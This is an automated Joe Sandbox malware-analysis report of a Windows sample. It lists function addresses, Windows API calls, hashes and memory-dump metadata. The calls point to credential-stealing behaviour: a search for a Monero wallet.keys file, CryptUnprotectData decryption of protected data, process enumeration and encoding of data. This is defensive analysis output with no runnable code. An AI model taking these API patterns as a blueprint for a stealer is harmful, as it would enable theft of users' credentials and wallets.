Opcode ID: d73412e69f40caa4d10d66fc08eddc100e22e1f446c11edcb36d713a4ef415a4
Instruction ID: bb636b21e270db9b770f38280e4f8f396c40b8ce1b600d4fb1cf1ff9f98449cb
Opcode Fuzzy Hash: d73412e69f40caa4d10d66fc08eddc100e22e1f446c11edcb36d713a4ef415a4
Instruction Fuzzy Hash: 29B205F3A0C6049FE3086E2DEC4567ABBE5EFD4720F16493DE6C5C3344EA3598058696

Function 004FE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

Part of subcall function 0050A920: lstrcpy.KERNEL32(00000000,?), ref: 0050A972
Part of subcall function 0050A920: lstrcat.KERNEL32(00000000), ref: 0050A982

Part of subcall function 0050A9B0: lstrlen.KERNEL32(?,012D8AC0,?,\Monero\wallet.keys,00510E17), ref: 0050A9C5
Part of subcall function 0050A9B0: lstrcpy.KERNEL32(00000000), ref: 0050AA04
Part of subcall function 0050A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0050AA12

Part of subcall function 0050A8A0: lstrcpy.KERNEL32(?,00510E17), ref: 0050A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00510D73), ref: 004FE4A2
StrCmpCA.SHLWAPI(?,005114F8), ref: 004FE4F2
StrCmpCA.SHLWAPI(?,005114FC), ref: 004FE508
FindNextFileA.KERNEL32(000000FF,?), ref: 004FEBDF

Strings

\*.*, xrefs: 004FE44D

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: ee48d121a288d2bc4d432c4e15b04aab921c6ff2ff42d7c8682cbc480efd7fd0
Instruction ID: 41584b4346aaa313e5584bdfdf10f56c408d91719a42f8755e7320c1651b627a
Opcode Fuzzy Hash: ee48d121a288d2bc4d432c4e15b04aab921c6ff2ff42d7c8682cbc480efd7fd0
Instruction Fuzzy Hash: D91230719102199ADB14FB60DD9AEEE7738BFD4300F4085A9B50A960D1EF346F49CF92

Function 004F9AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NO,00000000,00000000), ref: 004F9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,004F4EEE,00000000,?), ref: 004F9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NO,00000000,00000000), ref: 004F9B2A
LocalFree.KERNEL32(?,?,?,?,004F4EEE,00000000,?), ref: 004F9B3F

Strings

NO, xrefs: 004F9AD4, 004F9AE1, 004F9AF9, 004F9B18, 004F9AE4, 004F9B1B

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: NO
API String ID: 4291131564-1822992918
Opcode ID: b25654791a96f8f7ba9418fc118759afcb0820e6369193ff9bf352246954754e
Instruction ID: 78aa6a58be1c11716273f122eec6bed8841a3913449b127a39accbf5f8146974
Opcode Fuzzy Hash: b25654791a96f8f7ba9418fc118759afcb0820e6369193ff9bf352246954754e
Instruction Fuzzy Hash: 2511A2B4640208BFEB10CF64DC95FAA77B5FB89701F208059FA159B3D0C7B6A901CB94

Function 004FC820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 004FC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 004FC87C
lstrcat.KERNEL32(?,00510B46), ref: 004FC943
lstrcat.KERNEL32(?,00510B47), ref: 004FC957
lstrcat.KERNEL32(?,00510B4E), ref: 004FC978

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: a62dabc368872fd426ce9d06c225504dcca28217392547d5ce0ca0830ee79ae6
Instruction ID: 5bd7de3ffe24412aca5afb8f9ab6e889db1183b6e0a1874122792d8bc92c71fe
Opcode Fuzzy Hash: a62dabc368872fd426ce9d06c225504dcca28217392547d5ce0ca0830ee79ae6
Instruction Fuzzy Hash: A44174B590420DEBDB10CFA4CD8AFFEB7B8BB44305F1081A8E509A7280D7785A85CF95

Function 00506920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0050696C
sscanf.NTDLL ref: 00506999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 005069B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 005069C0
ExitProcess.KERNEL32 ref: 005069DA

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: f0ab311cc5863e9de229e8e9855f73b536ca373216bce24caa4337b96f88688c
Instruction ID: 48726d713f10e2ff15be96fd0b90e7499accbc5828d18a7c9d32c76cee837199
Opcode Fuzzy Hash: f0ab311cc5863e9de229e8e9855f73b536ca373216bce24caa4337b96f88688c
Instruction Fuzzy Hash: 3C21CB75D14209ABDF04EFE4D946AEEBBB5BF48301F04852AE406E3250EB349615CB69

Function 004F7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 004F724D
RtlAllocateHeap.NTDLL(00000000), ref: 004F7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 004F7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 004F72A4
LocalFree.KERNEL32(?), ref: 004F72AE

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: fca1ff0af9f47283d56733f9fd033b2cf8b86ebd9f7c512644b95b4159394a31
Instruction ID: 03dcf60bff0ae70dde8061d0ce8f31f0e46e538ec4541b61954b477323bf5e34
Opcode Fuzzy Hash: fca1ff0af9f47283d56733f9fd033b2cf8b86ebd9f7c512644b95b4159394a31
Instruction Fuzzy Hash: 4E011675A40208BBEB10DFD4DD46F9D7778FB44701F108555F745BB2C0D674AA018B69

Function 00509600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0050961E
Process32First.KERNEL32(00510ACA,00000128), ref: 00509632
Process32Next.KERNEL32(00510ACA,00000128), ref: 00509647
StrCmpCA.SHLWAPI(?,00000000), ref: 0050965C
CloseHandle.KERNEL32(00510ACA), ref: 0050967A

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: aaf3490c96ed2144070fe35ad768d813e3ad3c5711f59f2b92dda7ce074e2ac0
Instruction ID: b77e9fee802eb73c8460e49ddc44294c313fb80e592526b250ef39bf7974e9ef
Opcode Fuzzy Hash: aaf3490c96ed2144070fe35ad768d813e3ad3c5711f59f2b92dda7ce074e2ac0
Instruction Fuzzy Hash: 65011E75A00208FBDB15DFA5CD89BEDBBF8FB48701F108598A945A7290DB359B40CF51

Function 008B8BD7 Relevance: 6.6, Strings: 4, Instructions: 1608COMMON

Download Yara Rule

Strings

B/, xrefs: 008B99C4
B/, xrefs: 008B9C48
}, xrefs: 008B8F3D
B?|, xrefs: 008B9A06

Memory Dump Source

Source File: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: B?|$B/$B/$}
API String ID: 0-2871083107
Opcode ID: 371c34650fbed205c5dc2ef1708608bf1a92e1b339d28660d558b97c96a2acec
Instruction ID: 4f5430a1a6aeb31fd21b6b42681946e06579073e5a41e711ef39c6a85a0f4bc1
Opcode Fuzzy Hash: 371c34650fbed205c5dc2ef1708608bf1a92e1b339d28660d558b97c96a2acec
Instruction Fuzzy Hash: BAB209F360C2109FE314AE29EC8577ABBE9EFD4320F16853DEAC487744EA3558058796

Function 00508EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,004F5184,40000001,00000000,00000000,?,004F5184), ref: 00508EC0

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 3e0e41810828d1c01afd6e25d449560eb4165b5df8f811b62d4da51adf814a52
Instruction ID: 89af44165c31045e741a34acf0fdff6df8d0501635eaed7dd039833ae19e5089
Opcode Fuzzy Hash: 3e0e41810828d1c01afd6e25d449560eb4165b5df8f811b62d4da51adf814a52
Instruction Fuzzy Hash: BF110670200209FFDB00CF64D889FBB3BA9BF89301F109848F9998B290DB35E841DB64

Function 00507A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,012DD9C8,00000000,?,00510E10,00000000,?,00000000,00000000), ref: 00507A63
RtlAllocateHeap.NTDLL(00000000), ref: 00507A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,012DD9C8,00000000,?,00510E10,00000000,?,00000000,00000000,?), ref: 00507A7D
wsprintfA.USER32 ref: 00507AB7

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: fd4302b99224692a6661e54e9f2f9e3ad823ad17041dc2206a4f5e6d2223a2f9
Instruction ID: 9dd93fd42699c86b5f2540f620cb5c7ec33bb1259c0abbc531f1fcca1e47894a
Opcode Fuzzy Hash: fd4302b99224692a6661e54e9f2f9e3ad823ad17041dc2206a4f5e6d2223a2f9
Instruction Fuzzy Hash: 57118EB1E45218EBEB208F54DC4AFA9BB78FB04721F10479AE90A932C0C7781A44CF51

Function 008BFFAC Relevance: 6.0, Strings: 4, Instructions: 959COMMON

Download Yara Rule

Strings

sm=}, xrefs: 008C0028
I9~, xrefs: 008C0234
vw, xrefs: 008C0331
rr{, xrefs: 008C0419

Memory Dump Source

Source File: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: I9~$rr{$sm=}$vw
API String ID: 0-3258625590
Opcode ID: 12470f9f04a78192ec7a0941ef467c75dc408ecd4c6f769937afb92d980438de
Instruction ID: c45e37c81901a62fcb2c2e584a364fc1897958a6e66743504f46d208d86bff81
Opcode Fuzzy Hash: 12470f9f04a78192ec7a0941ef467c75dc408ecd4c6f769937afb92d980438de
Instruction Fuzzy Hash: 615259F3A08204AFE3046E2DEC8577AFBD9EF94360F2A453DEAC4C7744E57598058692

Function 00503720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0050E118,00000000,00000001,0050E108,00000000), ref: 00503758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 005037B0

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: eb8ce42cf297949675eb0c026b713051f6e2a5788a674126358aaca389979887
Instruction ID: 988e730feba0d27ddb82ee3543c66f1c4a6911a667abb190a25704c742d24169
Opcode Fuzzy Hash: eb8ce42cf297949675eb0c026b713051f6e2a5788a674126358aaca389979887
Instruction Fuzzy Hash: DE41EC71A40A189FDB24DB54CC95B9BB7B5BF48702F5081D8E608E72D0E7716E85CF50

Function 004F9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 004F9B84
